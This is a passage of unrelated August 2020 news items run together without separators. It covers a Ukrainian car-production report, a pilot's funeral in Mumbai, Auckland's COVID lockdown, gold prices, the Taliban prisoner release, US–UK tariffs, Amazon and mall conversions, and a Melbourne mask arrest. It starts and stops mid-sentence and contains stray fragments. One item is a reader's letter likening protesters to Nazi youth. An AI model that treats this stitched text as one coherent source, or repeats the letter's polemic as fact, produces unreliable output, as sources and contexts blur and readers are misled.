in the same period of 2019), 28 commercial vehicles (down 39%) and 311 buses (down 31%). The association said that 236 vehicles were assembled in Ukraine in July 2020, down 62% from July 2019. Car production in July shrank by 68%. As a year earlier, the only plant that operated in this segment of the domestic car industry was Eurocar. Some 172 Skoda cars were assembled at the plant in July this year. The production of commercial vehicles in July 2020 decreased to four vehicles (84% less than in July 2019). All of them were assembled at JSC Cherkasy Bus. At the same time, bus production grew by 11%, to 60 buses. Four enterprises manufactured buses in July 2020, in particular, JSC Cherkasy Bus (25 buses), PJSC Chernihiv Automotive Plant (24 buses), ZAZ (nine buses) and Chasiv Yar Bus Plant (two buses). Ukraine produced 7,265 vehicles in 2019, up 10% from 2018. op Mumbai: Capt. Deepak V. Sathe - who was killed in the Friday Air India Express plane tragedy in Kozhikode on Friday - accorded a funeral with full state honours, in Mumbai on Aug 11, 2020. (Photo: IANS) Image Source: IANS News Mumbai: Capt. Deepak V. Sathe - who was killed in the Friday Air India Express plane tragedy in Kozhikode on Friday - accorded a funeral with full state honours, in Mumbai on Aug 11, 2020. (Photo: IANS) Image Source: IANS News Mumbai: Capt. Deepak V. Sathe - who was killed in the Friday Air India Express plane tragedy in Kozhikode on Friday - accorded a funeral with full state honours, in Mumbai on Aug 11, 2020. (Photo: IANS) Image Source: IANS News Mumbai, Aug 11 : Maharashtra bid a tearful adieu to Captain Deepak V. Sathe -- the pilot who was killed in the Air India Express plane crash in Kozhikode last Friday -- at his funeral performed with full state honours here on Tuesday afternoon. In the morning, Sathe's mortal remains were brought from the Bhabha Hospital, Bandra, by his sons -- Shantanu and Dhananjay. They conducted the last rites at their residence complex, Nahar Amrit Shakti, Chandivali-Powai area, in the presence of representatives of the Maharashtra government, defence forces, police, various political dignitaries and others. During the ceremony, the coffin was draped in the tricolour by the Mumbai Police and the Indian Air Force Ensign by the IAF contingent, but the number of mourners was restricted due to the Covid-19 pandemic. Sathe's family, including his wife Sushma Sathe, sons, and other close relatives paid their last respects, though his grieving Nagpur-based parents - retired Col Vasant Sathe and Neela Sathe - were not present owing to their advanced age and the pandemic. A Mumbai Police contingent accorded an Honour Guard and a Salute to the departed aviator in the brief but solemn ceremony. Wreaths were placed on behalf of Chief Minister Uddhav Thackeray, and on behalf of the Chief of Air Staff, Commander-in-Chief, South Western Air Command, Indian Navy's Commander-in-Chief, Western Naval Command, Air Force Station Mumbai, 58 Course NDA, 127 Pilots Course, IAF Battleaxe Squadron and NDA's J Squadron (Jaguar Squadron). Also present on the occasion to pay their last respects were dignitaries like Mumbai Mayor Kishori Pednekar, Shiv Sena MP Priyanka Chaturvedi, Bharatiya Janata Party MP Poonam Mahajan, legislator Dilip Lande, and municipal councillors Ishwar Tawade and Harish Bhandirghe. Air Marshal (retired) J.S. Gujral and Consul-General of Singapore Gavin Chay, who was Capt Sathe's coursemate at the NDA, and residents of the sprawling housing complex in suburban Chandivali, also laid wreaths. As the funeral cavalcade, escorted by the Mumbai Police, started for the cremation at Vikhroli Electric Crematorium, cries of "Capt Deepak Sathe Amar Rahe" rent the air with many from the society and neighbouring buildings seen bidding their final farewell. Prior to the cremation, the police contingent removed the tricolour while the IAF contingent removed the IAF Ensign which were ceremoniously folded and formally presented to his sons Shantanu and Dhananjay. Later, the Mumbai Police mourning party fired rifle volleys in the air as a salute, with the Last Post played on the bugle. Post-funeral, the Sathe family released a moving tribute in his memory. "Deepak Sathe was a loving husband and caring father and we are deeply pained by his tragic demise. He was a family man and loved to spend time with family and friends whenever possible. He was a calm, composed, simple, and genuine person who persistently imbued happiness in people around him," said his wife and his sons in a special tribute. They described him as warm with friends and acquaintances alike, careful and meticulous in his ways, and who always pursued excellence. "He instilled in the children the importance of an honest day's work, and a good night's sleep. He infused in us a love for sport and the outdoors, the inquisitiveness to try novel experiences and an enthusiasm to explore new lands and varied cuisine. He will remain in our hearts forever," said the Sathe family. (Quaid Najmi can be contacted at: q.najmi@ians.in) Health authorities are scrambling to discover how a New Zealand family contracted COVID-19, after the country went 100 days without a single case. New Zealand will be thrown back into lockdown at midday on Wednesday after the four new coronavirus cases were discovered. All the new cases are believed to be from a Pasifika family in Auckland, however, there is no known source and they had not been abroad. Director General of Health Ashley Bloomfield confirmed the family had no connection to overseas travellers or the hotel quarantine program. The government is now rushing to test about 50,000 people by the end of the week to stop the virus from spreading further throughout the community. Auckland, the city with the largest population, will be placed under Stage Three lockdown, forcing families to stay-at-home for 72 hours. The rest of the country will be under Stage Two restrictions - mandating social distancing and limits on the size of gatherings. Shoppers are seen queuing for food at a supermarket in Auckland on Wednesday morning (pictured) as the city prepares for another lockdown Prime minister Jacinda Ardern implemented Stage Three stay-at-home orders for Auckland for 72 hours from midday on Wednesday after the city reported four new cases of COVID-19. Among the new cases is a man in his 50s who works the night shift at a coolstore business. The company has been shutdown and all 130 staff are being tested. Three of his colleagues are awaiting test results and at least two colleagues are showing symptoms. Mr Bloomfield said testing is underway at the cool store to see if that may have been where the outbreak came from. He said overseas research showed the virus could survive in these cool environments for some time. The man's daughter who also tested positive for the virus attended Mt Albert Primary School, which has now been closed for cleaning. 'Auckland Regional Public Health Service and the Ministry of Education will work with the school principal to decide if there has been any exposure to Covid-19 at the school. A decision will be made about whether there needs to be testing at the school,' the health notice said. On Wednesday, Jacinda Ardern announced all aged care facilities will close their doors to everyone but staff from midday. 'This is tough for people, but it's necessary. We need to protect the most vulnerable.' she said. She also urged residents in Auckland to wear a mask or face covering when out in public. 'If you are in Auckland, please cover your face if you leave home - masks or a bandanna is fine. Workers are seen in Auckland on Tuesday morning (pictured), wearing face masks as the city recorded four new coronavirus cases Residents are seen wearing masks as they walk around Auckland (pictured) on Wednesday, hours before Stage 3 lockdown begins 'We are not mandating general use but strongly encouraging use in Auckland region.' Ms Ardern announced sweeping new lockdown orders on Tuesday night, sparking panic-buying across Auckland city. 'We are taking a rapid response to break the change of transmission,' Ms Ardern said. Ms Ardern specifically encouraged people to wear masks to the supermarket, doubling down on her pleas to avoid overcrowding in stores. But her advice fell on deaf ears as shops throughout Auckland and surrounding suburbs were inundated on Tuesday night. Queues snaked around the block and car parks were overflowing at grocery stores throughout the city - even as Ms Ardern begged Kiwis not to congregate at shopping centres. Countdown Supermarkets issued a public plea for consumers to stick to their regular shopping behaviour while also confirming it had to close stores early in response to the mad rush. More than 1.6million people won't be allowed to leave their homes for anything other than essential reasons after four new cases of community transmission were identified on Tuesday A news alert is displayed on a mobile phone in Christchurch, New Zealand following the announcement of four new COVID-19 cases New Zealand records first cases of community transmission of COVID-19 for 102 days THE CASES * Four members of a south Auckland family have tested positive to COVID-19. * The 'index case' is a person in their 50s who has been symptomatic for five days and has no overseas travel history. * Six family members received a rapid test on Tuesday evening; three tests came back positive and three are negative. * Health officials are moving to isolate and test contacts of the family, including two Auckland workplaces. THE RESPONSE * Auckland returns to a 'level three' lockdown from noon on Wednesday until midnight on Friday. Aucklanders are being asked to stay home except for essential work or essential needs. * The rest of New Zealand returns to 'level two' for the same timeframe, with caps on gatherings and the return of social distancing. * These measures have been enacted to buy health officials time time to test and isolate contacts, and to locate the source of the outbreak. * Every worker at NZ's border regime and managed isolation facility will also be tested in the next few days. Advertisement 'Following the Prime Minister's announcement that Auckland will move to Level 3 tomorrow at midday, we have closed our Auckland stores tonight, other stores remain open as usual,' a statement released late on Tuesday read. 'Over the next few hours, we'll be working to bring our Alert Level 3 measures into place in Auckland, and Level 2 measures throughout the rest of the country. 'This will include physical distancing in our stores, limits on customer numbers, limits on some products, queue control and extra cleaning and hygiene measures.' The plea fell on deaf ears, with about 50 people queued out the front of Countdown in Westgate, northwest Auckland, by about 10pm on Tuesday night. The store normally closes about 11pm, but shut its doors at 10.30pm following the influx of people. Footage taken at Countdown in New Lynn showed panicked residents had ripped the doors open and flooded inside, scrambling over the top of one another and ignoring all social distancing protocols. Police were called as security tried to control the crowds, which included a woman with her baby who insisted she needed food for the child. 'I counted over 200 people in the line, there are cars literally queuing up outside because there aren't enough car parks,' one of the shoppers in the queue told NZHerald on Tuesday night. 'It was chaos,' another said. 'There was traffic blocking all of the roads leading to the supermarket, the parking lot was completely full and there were cars queued to get into the parking lot. 'There was already a queue snaking outside. I didn't think I'd even be able to get a park, let alone get the shopping done before the store closed.' The customer said it was pandemonium when he arrived around 9.50pm - while Ms Ardern was still holding her press conference. Countdown at Manukau and Johnsonville in Wellington experienced similar crowds of shoppers. New Zealanders received this text message on Tuesday evening, informing them of the latest restrictions While some Kiwis denounced Ms Ardern's lockdown, the overwhelming majority were supportive Following the announcement, Auckland Mayor Phil Goff called for calm. 'I understand that people are probably feeling a little bit scared, a little angry and a little confused right now. None of us wanted to go back into a lockdown, but we always knew this was a very real possibility,' he said. 'I am urging Aucklanders to come together like we did last time to stamp out community transmission. Please remain calm, please do not panic buy and please follow the lockdown rules.' He reminded the community that they had beaten COVID-19 once before, and said he had no doubt they would do it again. The lockdown is only expected to last three days at the moment, but Ms Ardern could not rule out extending the measures should contact tracing over the next few days prove insufficient to stem the spread of the virus. Medical staff test residents of South Auckland at a pop up COVID-19 testing centre in the Otara Mall, in Auckland (pictured on Wednesday) New Zealand's Prime Minister Jacinda Ardern (pictured, at a campaign launch on August 8) has plunged the country back into lockdown Professor Shaun Hendy from the University of Auckland praised Ms Ardern's instructions for residents to wear masks while out in the public. Professor Hendy said while not everybody is able to wear a mask, those who choose to do so will be protecting the entire community. The announcement comes just after the country celebrated 100 days without a single case of community transmission. New Zealanders had been enjoying the return of their usual freedoms after Ms Ardern plunged her nation into one of the harshest lockdowns in the world in March. Ms Ardern was widely praised for her handling of the global pandemic for swiftly introducing strict measures to eliminate the deadly virus. Pictured: Shoppers seen with trolleys full of groceries on Tuesday night following Jacinda Ardern's announcement Three measures had been hailed as the drivers behind New Zealand's success, including: border controls, lockdown and case-based controls. Australia adopted a similar method of suppression but has since seen a second deadly wave of infections ravage Victoria - with cases creeping into New South Wales, Queensland and South Australia. Ms Ardern announced the 'toughest border restrictions of any country in the world' in mid-March when she enforced mandatory self-isolation for all international arrivals. The country had just six coronavirus cases at the time of the announcement. Less than a week later on March 20, Ms Ardern closed the country's borders for the first time in New Zealand's history. The number of COVID-19 infections had scaled past 20. Panic buyers flooded grocery stores throughout New Zealand on Tuesday night ahead of the lockdown on Wednesday New Zealand's borders remain shut to this day and only Kiwi citizens, permanent residents and their family members can enter the country. Ms Ardern continued to move quickly, declaring a State of National Emergency to fight COVID-19 and putting all residents into Alert Level 4 - 'eliminate' - from 11.59pm on March 25. All non-essential businesses and educational facilities were forced to close and Kiwis were required to stay home for four weeks. At the end of April, New Zealand moved to Alert Level 3 and then to Alert Level 2 on in May as coronavirus infections continued to decline. Ms Ardern said elimination doesn't mean zero cases. 'It means zero tolerance for cases. It means when a case emerges, and it will, we test, we contact trace, we isolate, and we do that every single time with the ambition that when we see COVID-19, we eliminate it,' she said. A grocery store in Johnsonville in Wellington was flooded with panic buyers late on Tuesday, with some knocking over toilet paper in their rush to stock up 'That is how we will keep our transmission rate under 1, and it is how we will keep succeeding.' The continuous tracking of cases allowed New Zealand to stop coronavirus from spreading through the community. New Zealand entered Alert Level 1 at 11.59pm on Monday June 8. There were no active coronavirus cases in the country and it had been 40 days since community transmission. Last month, Ms Ardern said the second outbreak in Victoria is a 'cautionary tale' to learn from. 'It appears their current outbreak is linked to a managed isolation facility similar to the ones we run here,' she said. 'That goes to show how quickly the virus can spread and it can move from being under control to out of control, and that even the best plans still carry risk in a pandemic.' The city administration will have two more serological surveillance studies conducted by DY Patil medical college and National Institute of Virology (NIV) to assess the presence of antibodies in people, Pune divisional commissioner Saurabh Rao said. The findings of first sero survey, conducted by Indian Institute of Science Education and Research (IISER) along with Savitribai Phule Pune University (SPPU), will be out by this week. Besides IISER, BJ Medical college, which is attached with government-run Sassoon General Hospital, has sought approval from Rao for another sero survey in the city. While the DY Patil study will cover Pimpri-Chinchwad area, the area of focus for sero survey to be conducted by NIV is yet to be finalised, said Rao. Four surveys will cover Pune and Pimpri-Chinchwad. First survey by IISER is almost over. The remaining three, one each by DY Patil college, NIV and Sassoon hospital will be done in the coming days, told Rao to reporters in Pune through video conferencing on Tuesday. As part of sero survey, ISSER has joined hands with SPPU and has collected random blood samples from 1,550 persons from slum and non-slum pockets from five wards. The community-based sero survey helps identify presence of antibodies among vulnerable population. The presence of antibodies indicates that the infected person has developed resistance to the virus. SHARE THIS ARTICLE ON FAIRFIELD After being hit hard by Tropical Storm Isaias, more than 1 percent of United Illuminating customers in Fairfield remained without power Monday, nearly a week after the storm hit, according to officials. In an update posted to social media early Monday afternoon, First Selectwoman Brenda Kupchick said the outage equated to 394 residents still without power. The number of outages peaked at 67 percent during the height of the Aug. 4 storm. The first selectwoman said 84 of the residents impacted are single outages, meaning their electricity was severed by something directly on their property. She said the fire department was driving to those homes to share information on getting power with owners. The first priority, Kupchick said, was getting power back to everyone in Fairfield. She said the Emergency Management Team and Public Works Department were coordinating with UI. Kupchick said she had received messages from frustrated residents about UIs response to the storm. She said she has done her best to convey that frustration during meetings with the power company. They need to do a better job communicating, Kupchick said. I realize that information is extraordinarily important, especially when there is a crisis. In a memo to residents Monday, Kupchick said she had also been very disappointed by the utility companys response to the storm. While she said she appreciated the work of the employees on the ground in Fairfield, she hopes to see significant policy changes made for future storms. We are approaching one week since the storm and nearly 400 of our residents are still without power, she said. The governor has asked for an investigation into the response, and I look forward to those results. Moving forward, Kupchick said she will continue to work with the tree warden and UI to prune trees that pose a risk of bringing down power lines. She also noted that the National Oceanic and Atmospheric Administration is predicting an active hurricane season. I strongly suggest that residents have a plan in place for future outages from hurricane weather, Kupchick said. I myself will be developing a plan for my own home which was without power for a long period of time during this storm. Hours after he escaped from a Covid-19 centre in Amalner in Maharashtras Jalgaon district on August 10, a 32-year-old man was found dead on road, police said on Tuesday. The patient, a resident of Wawade village in the north Maharashtra district, located over 400 kms from here, was admitted in the facility in Amalner tehsil on Monday morning, an official said. He said doctors and hospital staff realised that the man had gone missing on Monday as there was a heavy rush at the facility on Sunday when he had tested positive for coronavirus. His body was found in front of the Amalner municipal council building on Monday evening, the official said. About 40 patients were being treated at the hospital while its actual capacity is of 20 beds, he said, adding that the hospital head filed a police complaint about the missing patient. A local BJP leader alleged that it was not an isolated incident in Amalner. A Covid-19 patient had run away from Amalner rural healthcare centre and later killed in a road accident, the leader claimed and demanded deployment of more number of police personnel at the facility. SHARE THIS ARTICLE ON Editor's Note: With so much market volatility, stay on top of daily news! Get caught up in minutes with our speedy summary of today's must-read news and expert opinions. Sign up here! (Kitco News) - Gold and silver prices are sharply lower in early U.S. trading Tuesday, with the yellow metal falling back below $2,000. Traders and investors have put risk back on the table today, due in part to news overnight that Russia has approved a Covid-19 vaccine. Russian President Vladimir Putin told reporters the vaccine has been given to his daughter. However, global health experts are cautioning that the Russian vaccine is premature because it has not gone through full stage three trials that last a few months. Still, the marketplace is so far Tuesday morning taking the Russian news as very good. October gold futures were last down $51.70 an ounce at $1,978.60. September Comex silver prices were last down $1.486 at $27.785 an ounce. A look at the daily charts for both gold and silver today still show prices are in normal downside corrections in still-strong uptrends. More strong selling pressure this week could produce near-term chart damage. Thus, price action in gold the rest of this week will be critical. Bulls still have the solid overall near-term technical advantage in both metals. Global stock markets rallied in overnight trading and the U.S. stock indexes are also pointed toward higher openings when the New York day session begins. Besides the Russian Covid vaccine news, there are reports the U.S. Congress and President Trump may be inching closer to agreeing upon a new government stimulus package for Americans, and thats also a positive for marketplace sentiment. Also, the new Covid-19 cases in the U.S. are starting to drop just a bit. The important outside markets today see Nymex crude oil prices firmer and trading around $42.50 a barrel. The U.S. dollar index is down. The yield on the benchmark 10-year U.S. Treasury note is presently around 0.6%. U.S. economic data due for release Tuesday includes the NFIB small business index, the Goldman Sachs and Johnson Redbook retail sales reports, and the producer price index. Technically, the gold bulls still have the solid overall near-term technical advantage. Bulls next upside price objective is to produce a close in October futures above solid resistance at last weeks record high of $2,078.00. Bears' next near-term downside price objective is pushing futures prices below solid technical support at $1,900.00. First resistance is seen at $2,000.00 and then at todays high of $2,031.00. First support is seen at the overnight low of $1,976.00 and then at $1,950.00. Wyckoff's Market Rating: 8.5 September silver futures bulls have the solid overall near-term technical advantage. Silver bulls' next upside price objective is closing prices above solid technical resistance at $30.00 an ounce. The next downside price breakout objective for the bears is closing prices below solid support at $25.00. First resistance is seen at $29.00 and then at Mondays high of $29.53. Next support is seen at the overnight low of $27.64 and then at $27.00. Wyckoff's Market Rating: 8.5. Kabul, Aug 11 : Afghan President Mohammad Ashraf Ghani issued a decree to pardon and release about 400 controversial Taliban inmates, the Presidential Palace confirmed. The palace tweeted that Ghani signed the decree late Monday evening for pardon of punishment of convicted Taliban prisoners, who are included in the 5,000 prisoners listed by the Taliban group, Xinhua news agency reported. The move came one day after participants of a 3,400-member Loya Jirga, or the Grand Assembly, voted for the release of 400 hardcore Taliban inmates. A peace deal agreement signed between the United States and Taliban in Qatar in February required the Afghan government to free 5,000 Taliban inmates in exchange for Taliban's release of 1,000 soldiers or government staff. Since early March, the Afghan government had released 5,100 Taliban inmates and Taliban freed 1,000 Afghan soldiers or government staff. Under the agreement, US and NATO-led coalition forces would leave Afghanistan by July next year depending on whether the Taliban outfit meets the conditions envisaged in the agreement, including severing ties with foreign terrorist groups. However, the presidential palace said provisions of the issued decree about Taliban pardon do not prevent individuals from suing for their right. It was not immediately known when the 400 Taliban inmates will be freed. According to unnamed officials, following the release of 400 Taliban inmates, the long-delayed peace talks between the Taliban and the Afghan government will begin later this month. If you were looking for the Charlestown Democratic Town Committee website and ended up here, try this Got news tips, gossip, suggestions, complaints?E-mail us: progressivecharlestown@gmail.com We strive to avoid errors in our articles. Our correction policy can be found here British industry has warned Washington that prolonging a painful barrage of U.S. tariffs risks setting back efforts by both countries to reach a free-trade deal that lies at the heart of Prime Minister Boris Johnsons post-Brexit economic strategy. The U.S.s authority to impose levies, granted last October by the World Trade Organization in a dispute over subsidies to Airbus SE, covers $7.5 billion of European Union products annually. Washington reviews it for changes every six months, and the next batch could arrive this week. In June, the U.S. Trade Representatives office threatened to introduce new or raise existing tariffs to as high as 100 per cent on some goods, including a new list worth $3.1 billion of gin, beer, coffee, chocolate and whiskies from Germany, Spain, France and the U.K. Already pummeled by the pandemic, the hospitality industries and retailers in both countries have stepped up their pleas for relief, according to nearly 24,000 public comments to USTR posted online ahead of the late-July deadline for submissions. Several letters from British corporate interests go beyond the myriad complaints about the damage tariffs are doing to businesses ranging from American wine importers to makers of Scotch whisky. The import taxes might just spoil the goodwill established in ongoing trade talks, they said. Deliberate snub Maintaining tariffs on U.K. whiskies (or, worse, imposing new ones) would be unduly provocative a deliberate snub in response to the extension of an olive branch, according to a letter to USTR from the North American unit of London-based Diageo Plc. It would be entirely out of step with the U.S. expressed goals in the ongoing bilateral dialogue with the United Kingdom. The Confederation of British Industry, representing some 190,000 businesses, said that while its encouraged by the political will on both sides to negotiate a bilateral trade deal quickly and comprehensively, it will be difficult for small businesses to truly benefit from a comprehensive deal if these tariffs are still in place. Imposing additional tariffs on U.K. products at a time when all energies should be focused on advancing transatlantic trade negotiations sends the wrong signals to our business community and beyond, according to a letter from BritishAmerican Business, a trade association. De-escalating the dispute would send a positive signal and reinforce the stated U.S. government desire to move quickly on a U.S.-U.K. trade agreement, the group said. The EU, meanwhile, is waiting for a WTO ruling to come as early as September that may allow for retaliation against the U.S. Brussels has asked for a multibillion-dollar award in a separate case that found Chicago-based Boeing Co. received illegal subsidies. British companies are in a difficult spot. Theyre still exposed to U.S. tariffs because they were part of the EU during the 15-year Airbus dispute at the WTO, but the U.K. government is largely frozen out of any effort by Brussels to negotiate a settlement now that Britain has left the bloc. U.K. International Trade Secretary Liz Truss was in Washington last week for the third round of talks to reach a trade agreement. National security Also last week, U.K. officials were reminded that doing a deal with the U.S. doesnt necessarily offer protection against Trump administration tariffs. Five weeks after the U.S. Mexico Canada Agreement took effect, replacing Nafta, the U.S. said it would reinstate 10 per cent duties on some Canadian aluminum, citing a broad definition of national security. Canada vowed to retaliate dollar for dollar. Its not just British companies that stand to lose from the transatlantic tariffs. Mars Wrigley U.S., the New Jersey-based candy maker, said that a 25 per cent tariff on sweet biscuits imported from Germany and the U.K. to make some Twix candy bars may jeopardize Americans access to them. Should these tariffs be maintained or increased, we may be forced to discontinue the sale of all Twix white chocolate products in the U.S. market, the company said in its letter, dated July 24. Small businesses, specifically convenience stores, and U.S. consumers would be negatively impacted by losing access to this unique product. Im sorry, Im not drinking the Kool-Aid. Just so you know, I grew up during the 1950s in East New York, went to the Brownsville Boys Club with my Black and brown friends, and we all learned to swim together. Some of these same folks are still my friends. Yes, Im one of the privileged, or so Ive been told by everyone in the news media lately, but Ive worked my ass off my whole life to get what I have. And Im not going to apologize for it. I didnt come up behind elderly people and knock them out for a few dollars, or pick on Jewish sects to terrorize them. And heres a clue for everyone: All lives matter,' or you become the racist. For one moment in time, the nation was united in horror at what happened to George Floyd, and an important opportunity was missed, because it was hijacked; not by people who care, but by groups whose only interest is having America in chaos. Thats not to say that change isnt needed, but, like so many things in the land dumps, we just throw them away because they need fixing. Its sad to watch these protesters with their arms in the air. They are reminiscent of the Nazi youths in the 1930s, or the Black Panther movement of the 1970s. Im just wondering where the gas chambers will be for those of us who dont go along with their agenda. After all, do you think Hitler gave those youths freedom of speech after he recruited them? I hope Minneapolis defunds their police department and allows Black Lives Militia to take over. The nation will be watching to see how your experiment goes. Just like we are watching Seattle. (Myra Somma is a Huguenot resident.) Amazon is reportedly in talks to team up with Simon Property Group, the biggest U.S. mall owner, to convert bankrupt megastores into fulfillment centers. Wall Street Journal sources claim that the two companies are in talks to either step into empty JC Penney and Sears stores or else buy locations that are still in use. Simon Property Group malls have 63 JCPenney stores and 11 Sears stores across the country--so theres a fair amount from which to choose. As for Amazon, whose business is blooming during the pandemic, having fulfillment space close to urban areas would benefit its end-game delivery strategy. The pandemic has put pressure on many retail stores, leading to the rise of the dedicated fulfillment centers, otherwise known as dark stores. It started with grocery stores and has expanded to others. Bed Bath & Beyond announced in April that roughly 25% of its stores in the U.S. and Canada would be turned into fulfillment centers--temporarily, they hope. A number of fashion brands are also converting their stores to fulfillment centers to provide faster deliveries. Crew and Neiman Marcus, two more pandemic victims, both filed for bankruptcy. In mid-May, JCPenney filed for Chapter 11 bankruptcy protection and started closing its stores. Jeans maker True Religion did the same. Sears Holdings filed for Chapter 11 bankruptcy in 2018...and the list goes on. In 2017, retailers shuttered a record-breaking 8,000 stores or 102 million square feet of store space. The following year proved even worse, with another 155 million square feet of space closing down. The staggering rate of store closures that rocked the retail industry continued in 2019, with retailers setting a new record for store closings, a total of just above 9,000. As for this year, experts predict that U.S. retailers could announce between 20,000 and 25,000 closures. More than half of those are situated in Americas malls. Even those that are financially stable are looking to downsize their brick-and-mortar store presence, which is not suited well for shopping malls and building operators, even without a pandemic. Several luxury brands are suing the landlords hoping to break their leases early. The Italian fashion brand Valentino is suing to break its lease in NYCs Fifth Avenue early. Victorias Secret is also seeking to annul one of its largest and most expensive retail leases. (It pays over $10 million a year in rent for its Manhattans Herald Square store). On the other side, some landlords are suing tenants, too. In June, Simon Property Group itself sued the Gap for three months of unpaid rent that totaled nearly $66 million for nearly 400 locations. So, Amazon is looking like a much better renter. As GAP followed with its own suit seeking rent relief, Simon increased the lawsuit to $107 million in overdue rent. GAP is also involved in litigation with Brookfield Properties and other landlords. While missing the lease payments or abandoning the leases altogether might be a way out for retailers, landlords are definitely feeling the consequences. Bloomberg reported last month that CBL & Associates Properties Inc., the owner of more than 100 shopping centers across the country, is preparing its own bankruptcy filing, the first such since 2009. Simon Property Group, which was set to purchase rival Taubman early this year in a $3.6-billion deal but pulled out, reported that its profits fell 20.2% during the first quarter. So, as far as commercial real estate landlords are concerned--and especially those dealing with retail--fulfillment centers could be a new lease on life. By Josh Owens for Safehaven.com More Top Reads From Safehaven.com: The woman at the centre of a dramatic arrest in Melbourne was the victim of police heavy-handedness, her boyfriend claims, as she admits giving officers the finger when asked why she wasn't wearing a face mask. The 21-year-old, from St Kilda, became involved in a violent altercation after police approached her in the inner-city suburb of Collingwood at about 5pm on Monday. Video showed a male officer placing his hands around the woman's neck during the arrest as she screamed: 'He's choking me. He's choking me. Get off of me. Get off.' She then lashed out at a female officer, kicked her in the chest, before being taken to the ground and demanding to know 'what the f*** I've done'. As she was led away to a police van, her boyfriend, who was filming the arrest, said: 'She's got a note from the doctor. Youse are f***ed'. The woman told 7News she gave two police officers the finger when they questioned why she wasn't wearing a mask. The boyfriend (pictured) of a woman at the centre of a dramatic arrest in Melbourne has accused police of heavy-handedness Disturbing footage shows a woman being choked by a police officer in Melbourne But her boyfriend blasted the arresting officers and claimed their response was excessive. 'The way that they came up to us all intimidating is itself enough. They're meant to make us feel protected, right? We don't feel protected,' he said. 'When they're just looking for a fight and just looking to fine people and just looking to be bullies, that's not lawful.' Police allege the woman refused to provide her name and address. She has been charged with resisting arrest and assaulting police. The woman (pictured) admitted she gave police the finger when asked why she wasn't wearing a mask Thhis video, which was captured by an onlooker in an apartment building in Melbourne, begins with the male officer speaking to the red headed girl in baggy jeans (pictured, left and right) 'Police made the decision to arrest the woman after she failed to provide her name and address,' a Victoria Police spokesman said. 'She also did not state she had an exemption for not wearing a face covering. She then became physically aggressive and kicked a female officer to the upper body. 'The woman continued to resist arrest and had to be taken to ground before being arrested. The female officer was transported to hospital for observation.' The woman did not receive a fine for failing to wear a face mask 'because she later told police she had an exemption', police said. The arrest has been referred to Victoria Police's professional standards command. How the confrontation unfolded: A male police officer approaches a woman who is seen without a face mask in Melbourne The pair argue for a moment before the officer grabs the woman by her arm The woman resists and a struggle ensues The woman grabs the officers vest before the officer places his hands around her neck The boyfriend, in the purple scarf, yells for the officer to get off her, saying she has an excuse for not wearing a mask. 'She went to the doctor yesterday,' he says The pair continue to struggle with the woman screaming for him 'to get the f*** off' The officer pushes the woman against the wall as a female police officer approaches The woman punches the male officer and kicks the female officer Police officer pulls the woman to the ground in an attempt to arrest her He then sits on her and she questions what she is being arrested for A friend then starts filming the arrest, telling the officer the woman has an exemption for wearing a mask More police officers appear before she is arrested and charged with resisting arrest and assaulting a police officer Advertisement Meanwhile on Tuesday, a 58-year-old woman was arrested at Frankston for allegedly assaulting a police officer after not wearing a mask at a cafe. The incidents come as Aboriginal and Torres Strait Islander, legal and human rights bodies call for the Victorian government to guarantee new police powers are properly scrutinised. In a joint statement on Tuesday, the group said the wide-ranging powers for police under Premier Daniel Andrew's 'state of disaster' declaration must be complemented by an independent watchdog to ensure accountability. 'We don't want increased police powers to become the new normal - the powers must end as soon as the pandemic does,' Human Rights Law Centre senior lawyer Monique Hurley said in the statement. The boyfriend of the young woman (pictured) accused police of heavy-handedness The woman (pictured) admitted to giving police the middle finger when they asked her why she wasn't wearing a face mask It pointed to a parliamentary committee's interim report, released last Tuesday, that showed Victoria's three poorest communities accounted for 10 per cent of COVID-19 fines over the first two months of restrictions. That figure stands in stark contrast to the state's three most advantaged local government areas which copped 1.9 per cent of fines over the same period, raising concerns communities aren't being policed fairly. Another 202 fines were dished out in the previous 24 hours from 4529 spot checks, police said on Tuesday. They include 70 fines of $1652 for breaching Melbourne's 8pm-5am curfew and 33 fines of $200 for failing to wear a face mask. A man told police he was practising to become a DJ when discovered in someone else's home. Another found in his car at a Maribyrnong car park said he wanted some peace and quiet as his housemate was being 'too loud in the bedroom' with their partner. The St Kilda woman wasn't fined for not wearing a mask but was charged with resisting arrest and assaulting police and bailed to face court at a later date The Madhya Pradesh government has decided to release 244 prisoners from various jails in the state on the Independence Day, Home Minister Narottam Mishra said on Tuesday. The government releases prisoners every year by taking into account their good conduct and on other parameters on August 15, an official said. 244 prisoners will be released from various jails, Mishra told reporters. Meanwhile, against the backdrop of assault on two Sikhs by police personnel in Barwani district, the home minister said the state government was committed to protect the honour of all citizens. A delegation of the Sikh community already thanked chief minister Shivraj Singh Chouhan for taking a prompt action (by suspending two police personnel) into the matter, he said. A video of the attack had gone viral. Shiromani Akali Dal (SAD) president Sukhbir Singh Badal and Union minister Harsimrat Kaur Badal had condemned the incident. Glasgow researchers to study the impact of Covid-19 in lower and middle-income countries An international team of researchers, led by the University of Glasgow, has received an award to study the impact of Covid-19 in lower and middle-income countries, funded by the Bill & Melinda Gates Foundation. Even with access to optimum healthcare and intensive management, the SARS-CoV-2 virus kills 0.5 5% of infected individuals through a rapidly developing lung disease and severe hypoxia (lack of oxygen). The virus continues to spread through all continents with concerning recent increases in sub Saharan Africa (SSA). The progression and pathogenesis of severe COVID-19 infection may be different in SSA where other conditions and comorbidities such as malaria, tuberculosis, HIV infection and under-nutrition are more common than in wealthy countries. The impact of these conditions and their interaction with the virus is not fully understood. These comorbidities, as well as reduced intensive care capacity, may mean that COVID-19 has a greater impact in African countries. Immunomodulation (using drug treatments to alter immune response) is a major prong of treatment efforts and may be particularly important in low- and middle-income countries with reduced capacity for intensive care. To identify the safest and most effective treatments it is important to understand the tissue-specific immune responses that drive severe disease in tissue, particularly in the lung. Dr Chris Moxon from the Wellcome Centre for Integrative Parasitology at the University of Glasgow, and an international team of collaborators have been awarded a grant from the Gates Foundation to conduct a detailed investigation of the changes to tissues and immune system response in fatal COVID-19 cases in Malawi. The team will examine samples from the lung, spleen, liver, brain, and bone marrow from Malawian patients with fatal COVID-19, as well as controls with fatal non-COVID lower respiratory infection and fatal non-lung related causes of death. Detailed analysis using bioinformatics will explore the cellular pathways associated with severe COVID-19 lung parenchymal disease with the goal of identifying potential therapeutic targets. In addition, biomarkers from easily accessible samples (i.e. blood and nasal swabs) will be correlated to markers of immune response in the lung to enable improvements in diagnosis or monitoring of treatment responses (i.e. what do responses in these samples that are accessible during life tell us about responses in the inaccessible tissue of the lung). The value of the award is $685,373 commencing 3/08/20 for 